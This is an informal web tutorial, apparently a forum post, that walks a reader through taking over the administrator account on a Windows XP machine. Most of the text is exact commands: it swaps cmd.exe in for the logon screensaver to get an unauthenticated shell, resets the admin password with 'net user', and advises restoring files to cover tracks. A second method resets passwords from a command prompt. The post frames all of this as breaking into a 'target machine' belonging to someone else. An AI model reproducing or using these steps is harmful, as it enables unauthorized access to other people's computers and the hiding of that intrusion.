how to hack admin password in windows xp

How to hack windows XP admin password
If you log into a limited account on your target machine and open up a dos promptthen enter this set of commands Exactly:
cd\ *drops to rootcd\windows\system32 *directs to the system32 dirmkdir temphack *creates the folder temphackcopy logon.scr temphack\logon.scr *backsup logon.scrcopy cmd.exe temphack\cmd.exe *backsup cmd.exedel logon.scr *deletes original logon.scrrename cmd.exe logon.scr *renames cmd.exe to logon.screxit *quits dos
Now what you have just done is told the computer to backup the command programand the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.
Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

or else there is another simple method

so what if u don't know the password of your admin and still want to hack and change .. yea u can do it ..in a very easy manner.. check this. just follow the steps.. this doesn't require u to know the admin password but still u can change it..
Start >> Run >> [type]cmd // this will open your command prompt[type] net(space)user(press enter)[type] net(space)user(space)[windowsloginid](sp ace)*(press enter)
// for e.g. : net user Shaswat *(press enter)
[type] new password (press enter) and retype it (press enter).. it will show u confirmation... // caution it wont show u the password u type.. but it still types.. the blinking pointer will b there at the same place.. but it still works..// for e.g. : password changed successfully.
well.. this is so easy and can b done within seconds.. anyways enjoy